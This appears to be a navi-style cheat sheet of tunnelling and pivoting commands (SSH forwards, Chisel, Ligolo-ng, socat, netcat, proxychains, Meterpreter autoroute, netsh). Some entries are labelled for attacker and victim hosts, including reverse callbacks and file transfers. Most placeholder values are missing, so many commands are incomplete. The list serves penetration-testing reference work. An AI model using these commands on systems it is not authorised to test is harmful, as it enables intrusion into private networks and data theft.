% tunnels, ssh, pivoting, portforward, proxy # SSH local port forward ssh -L :: @ # SSH remote port forward ssh -R :: @ # SSH dynamic SOCKS proxy ssh -D @ # SSH with ProxyJump (bastion) ssh -J @ @ # SSH tunnel background ssh -fN -L :: @ # SSH reverse tunnel (callback) ssh -fN -R :localhost:22 @ # Chisel server (on attacker) chisel server -p --reverse # Chisel client reverse SOCKS chisel client : R:socks # Chisel client port forward chisel client : R::: # Chisel client local forward chisel client : :: # Ligolo-ng proxy (attacker) ./proxy -selfcert # Ligolo-ng agent (victim) ./agent -connect :11601 -ignore-cert # Socat port forward socat TCP-LISTEN:,fork TCP:: # Socat file transfer # Receiver: socat TCP-LISTEN:,fork file:,create # Sender: socat TCP:: file: # Netcat relay nc -lvp | nc # Proxychains with nmap proxychains nmap -sT -Pn # Proxychains any command proxychains # Edit proxychains config # /etc/proxychains4.conf # socks5 127.0.0.1 1080 # WireGuard - generate keys wg genkey | tee privatekey | wg pubkey > publickey # WireGuard - quick up wg-quick up # WireGuard - quick down wg-quick down # WireGuard - show status wg show # sshuttle - VPN over SSH sshuttle -r @ # sshuttle - all traffic sshuttle -r @ 0/0 # Metasploit portfwd # portfwd add -l -p -r # Meterpreter autoroute # run autoroute -s # plink (Windows SSH) plink.exe -L :: @ # netsh port forward (Windows) netsh interface portproxy add v4tov4 listenport= listenaddress=0.0.0.0 connectport= connectaddress= # netsh show forwards netsh interface portproxy show all # netsh delete forward netsh interface portproxy delete v4tov4 listenport= listenaddress=0.0.0.0 $ local_port: echo "8080" $ target_host: echo "" $ target_port: echo "80" $ user: echo "" $ jump_host: echo "" $ remote_host: echo "" $ remote_port: echo "9999" $ local_host: echo "127.0.0.1" $ socks_port: echo "1080" $ host: echo "" $ attacker_ip: echo "" $ attacker_host: echo "" $ port: echo "8080" $ server_ip: echo "" $ network_cidr: echo "10.0.0.0/24" $ interface: echo "wg0" $ output_file: echo "received_file" $ input_file: find . -type f 2>/dev/null | head -5